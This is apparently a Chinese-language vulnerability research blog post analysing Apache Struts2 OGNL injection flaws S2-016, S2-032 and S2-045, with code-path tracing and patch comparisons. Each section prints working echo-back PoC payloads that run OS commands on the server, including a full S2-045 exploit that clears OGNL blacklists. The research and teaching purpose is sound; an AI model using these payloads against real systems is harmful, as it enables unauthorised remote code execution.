概述
文章目录
- 关于<旧文系列>
- 前言
- S2-016
- 漏洞复现与分析
- 可回显PoC
- 漏洞修复
- S2-032
- 漏洞复现与分析
- 可回显PoC
- 漏洞修复
- S2-045
- 漏洞复现与分析
- 可回显PoC
- 漏洞修复
- Reference
关于<旧文系列>
<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。
文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间:2021-08-31
前言
尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。
传送门:
[旧文系列] Struts2历史高危漏洞系列-part1:S2-001/S2-003/S2-005
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009
[旧文系列] Struts2历史高危漏洞系列-part3:S2-012/S2-013/S2-015
S2-016
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-016
影响版本:Struts 2.0.0 - Struts 2.3.15
漏洞复现与分析
在Struts2中,支持在action的请求参数中添加redirect:
、redirectAction:
前缀,在后面加上指定表达式,便可实现路径导航和重定向。但由于没有对前缀后面的表达式进行安全过滤,从而可导致注入任意OGNL表达式。
下面使用struts2 2.3.15
版本自带的示例程序struts-blank
进行调试分析。
以redirect:
为例,最简单的PoC redirect:%{11+13}
,复现如下:
可以看到表达式%{11+13}
被执行了,结果回显在了响应头Location
中。
对这些参数前缀的处理,是在org.apache.struts2.dispatcher.mapper.DefaultActionMapper
类中,如下图,每个前缀都有与之对应的处理动作。
下面以redirect:
前缀为例子。
先说一下,这个漏洞的触发流程其实是在struts2运行主线的第一阶段,并没有到达第二阶段。什么意思呢,看下图:
这是一个正常的action请求的处理时序图。
首先第一阶段是对HTTP请求的预处理阶段。这个阶段主要由Struts2完成,其主要职责是与Web容器打交道,将HTTP请求处理成为普通的Java对象。
而第二阶段,则是XWork事件处理阶段。程序的执行控制权在此时交给了XWork框架,其主要职责是对请求进行核心逻辑处理。
struts2接收到请求后,先到达StrutsPrepareAndExecuteFilter#doFilter()
方法中,在该方法中,会根据request
对象来获取ActionMapping
对象,如下图:
在获取ActionMapping
对象的过程中,会调用DefaultActionMapper#handleSpecialParameters()
方法去处理特殊的参数
,比如包含了redirect:
、redirectAction:
等前缀的参数,具体的处理动作在对应的ParameterAction#execute()
方法里完成,如下图:
可以看到,在redirect:
前缀对应的处理动作中,往ActionMapping
对象中放置了一个Result
对象:ServletRedirectResult
对象,并且将前缀后面的OGNL表达式字符串赋值给该Result
对象的location
属性中。
获取到ActionMapping
属性后,随着运行主线的第一阶段,到达Dispatcher#serviceAction()
方法。在该方法中,会判断在ActionMapping
对象的result
属性是否为null
,如果为null
,则进入运行主线的第二阶段。然而,前面在处理redirect:
参数前缀时,将一个ServletRedirectResult
对象赋值给了ActionMapping
的result
属性,所以这里不会进入第二阶段,而是直接开始调度Result
对象。
继续跟进,看到了熟悉的TextParseUtil.translateVariables()
方法。后面的方法执行流程就跟S2-015的vuln-1一样了,这里不再展开。
可回显PoC
xxx.action?redirect:%{#context['xwork.MethodAccessor.denyMethodExecution']=false,
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),
#wr=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
#wr.println(#a),#wr.flush(),#wr.close()}
漏洞修复
通过版本代码比对,在Struts2 2.3.15.1
版本中,DefaultActionMapper
类里对redirect:
、redirectAction:
前缀的处理代码都删除了。
S2-032
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-032
影响版本:Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
漏洞复现与分析
从漏洞公告可获悉,当Struts2的 动态方法调用(Dynamic Method Invocation) 特性被启用时,可通构造以method:
为前缀的OGNL表达式,造成远程代码执行。
下面使用struts2 2.3.28
版本自带的示例程序struts-blank
进行调试分析。
在部署应用前,需要在struts.xml
文件中启用Dynamic Method Invocation
特性,同时需要将devMode
模式关闭。至于为什么要关闭devMode
模式,在下面的调试过程中就能找到答案。
同S2-016的redirect:
、redirectAction:
前缀一样,对参数前缀method:
的处理也是在类org.apache.struts2.dispatcher.mapper.DefaultActionMapper
。
按照前面在S2-016漏洞分析中提到的Struts2运行主线的流程,跟进到类DefaultActionMapper
中对参数前缀为method:
时的处理,如下图,只有当Dynamic Method Invocation 特性启用时才会将method:
后面带的字符串赋值到ActionMapping
的method
属性。
继续跟进代码到Dispatcher#serviceAction()
方法,发现在创建ActionProxy
对象的过程中,会对传入的method
字符串(即method:
前缀后面跟着的字符串)进行HTML字符转义和JS字符转义(这个常用来防止XSS攻击)。因此这次我们构造PoC的时候就不能直接把之前漏洞的PoC拿来用了,得修改一下,比如不能出现单双引号、尖括号等。
继续跟进代码,到了调度拦截器执行阶段,当拦截器AnnotationValidationInterceptor
执行过程中,会搜索当前action对象中是否有method:
前缀后指定的方法。因为我们是要在这里插入恶意OGNL表达式的,所以结果肯定是搜索不到的。当搜索不到时,且当devMode
开启时,就会抛出异常,程序因此中断从而无法执行我们注入的OGNL表达式,所以前面提到为什么前提条件还包括不开启devMode
模式。如下图:
最后,在调用action对象的时候,便会对method:
前缀后面的OGNL表达式进行计算,如下图:
这里要注意OnglUtil.getValue()
的第一个参数,methodName
后面拼接了一个圆括号()
,故在构造PoC时,要在注入的OGNL表达式中,最后一个得是方法调用,且去掉圆括号。
可回显PoC
从上面的调试分析可知,会对method:
前缀后面的字符串进行HTML字符和JS字符转义,所以这里不能使用#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')
这种方式来访问_memberAccess
的allowStaticMethodAccess
属性,因为单引号会被转义。执行命令Runtime#exec('id')
同理。
这里使用@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
将#_memberAccess
重置为默认对象DefaultMemberAccess
,DefaultMemberAccess
不会禁止执行Java静态方法。
而命令参数则利用上下文对象context
中parameters
属性去读取。
综上,可回显PoC如下:
/xxxx.action?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#res=@org.apache.struts2.ServletActionContext@getResponse(),
#w=#res.getWriter(),
#w.println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream())),
#w.flush(),
#w.close&cmd=uname -a
漏洞修复
通过版本比对,可以看到在Struts2 2.3.28.1
版本中,对method:
前缀后面的字符串进行了字符白名单校验,将不在白名单里的字符给去掉。新版本的关键修复代码如下图:
S2-045
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-045
影响版本:Struts 2.3.5-Struts 2.3.31, Struts 2.5-Struts 2.5.10
漏洞复现与分析
从漏洞公告可获悉,如果Content-Type
请求头的值表示一个上传类型,但值是无效的,且是一个精心构造的OGNL表达式时,Jakarta Multipart parser
这个解析器在对Content-Type
处理的过程中,会触发异常,在处理异常信息的时候会计算OGNL表达式,从而造成远程代码执行。
这里使用Struts2 2.3.31
版本自带的示例应用struts-blank
进行调试分析。
因为得是上传类型,故Content-Type
的值包含字符串multipart/form-data
。
在Jakarta Multipart parser
解析器对应的类JakartaMultiPartRequest
的解析请求的方法parse()
方法中下断点。
命中断点后,跟进它的处理,可以看到,当Content-Type
请求头的值不是以multipart/
开头时,则抛出异常InvalidContentTypeException
,同时将Content-Type
的值拼接到异常消息字符串中。
抛出异常后,则在JakartaMultiPartRequest#buildErrorMessage()
对异常消息进行处理。
继续跟进,看到了熟悉的TextParseUtil.translateVariables()
,往后就是从异常消息字符串中根据%
符号提取OGNL表达式并计算求值,这里不再细说,因为前面分析其他漏洞的文章里已经详细分析过了。
下面重点说一下PoC的构造。
可回显PoC
注:关于OGNL表达式的形式,可参考官方文档:
https://commons.apache.org/proper/commons-ognl/language-guide.html
因为Struts2从2.3.28.1
版本开始,在OgnlUtil
类中,对(e1,e2,e3,e4,...)
这种形式的表达式进行了限制,不允许执行。(e1,e2,e3,e4,...)
这种形式的表达式会被解析为ASTSequence
类型,而ASTSequence#isSequence()
永远返回true
,从而向上抛出异常,不会继续对表达式进行求值。关键代码如下:
所以这里换一种表达式形式:(e1).(e2).(e3).(e4)....
。这种形式的表达式会被解析为ASTChain
类型,没有被限制执行。
所以,构造简单PoC如下:
%{
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#a=1).
(#b=2*#a).
(#c=2*#b).
(#ret=4*#c).
(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',#ret)).
(multipart/form-data)
}
要构造命令执行的PoC,首先要将上下文对象context
的_memberAccess
属性重新赋值为DEFAULT_MEMBER_ACCESS
。但Struts2 2.3.31
的代码里,上下文对象context
内部的Map
集合已经没有_memberAccess
这个键,当然也就无法向之前一样通过#context['_memberAccess']
或#_memberAccess
去访问context
的_memeberAccess
属性。(详见OgnlContext
的static
代码块和get(Object key)
方法)
但可以通过OgnlContext
的setMemberAccess()
方法去设置它。然而在此之前,还得做些工作。否则OgnlContext#setMemberAccess()
无法执行。为什么呢?这里直接拿网上的漏洞利用工具/脚本里的S2-045漏洞exploit来解释,如下:
%{
(#t='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}
- 因为版本较旧的Struts2,上下文对象
context
内部的Map集合里还是存在_memberAccess
属性的,同时也可以通过get
方法访问,而版本较新的则没有。所以这里使用条件形式的表达式(e1)?(e2):(e3)
来实现版本的兼容。 - 这里在执行
#context.setMemberAccess()
前,为什么要先调用#ognlUtil.getExcludedPackageNames().clear()
和#ognlUtil.getExcludedClasses().clear()
呢?原因是在较新的Struts2版本中,默认情况下,会通过类名和包名黑名单的形式禁止OGNL表达式中某些类的方法调用。
Struts2 2.3.31
里的类名、包名的黑名单如下图所示。
对黑名单的读取,是在OgnlValueStack#setOgnlUtil()
方法中,如下图:
可以看到,连OgnlContext
都在黑名单中,所以必须得先将黑名单集合excludedClasses
和excludedPackageNames
给清空,同时又不能使用黑名单里的类去调用方法。故这个exploit给了一个思路:
先通过#container=#context['com.opensymphony.xwork2.ActionContext.container']
来获取ContainerImpl
对象,通过ContainerImpl#getInstance()
方法来获取OgnlUtil
对象,而OgnlUtil
并不在黑名单中,所以再通过#ognlUtil.getExcludedPackageNames().clear()
和#ognlUtil.getExcludedClasses().clear()
来清空存储黑名单的集合。清除后,上下文对象context
就可以调用setMemberAccess()
方法去重置_memberAccess
属性了。
漏洞修复
在Struts2 2.3.32
中,JakartaMultiPartRequest#buildErrorMessage()
把异常信息传入了LocalizedTextUtil#findText()
方法的args
参数的位置,不再传到defaultMessage
参数的位置。
Reference
[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf
最后
以上就是整齐宝贝为你收集整理的[旧文系列] Struts2历史高危漏洞系列-part4:S2-016/S2-032/S2-045关于<旧文系列>前言S2-016S2-032S2-045Reference的全部内容,希望文章能够帮你解决[旧文系列] Struts2历史高危漏洞系列-part4:S2-016/S2-032/S2-045关于<旧文系列>前言S2-016S2-032S2-045Reference所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复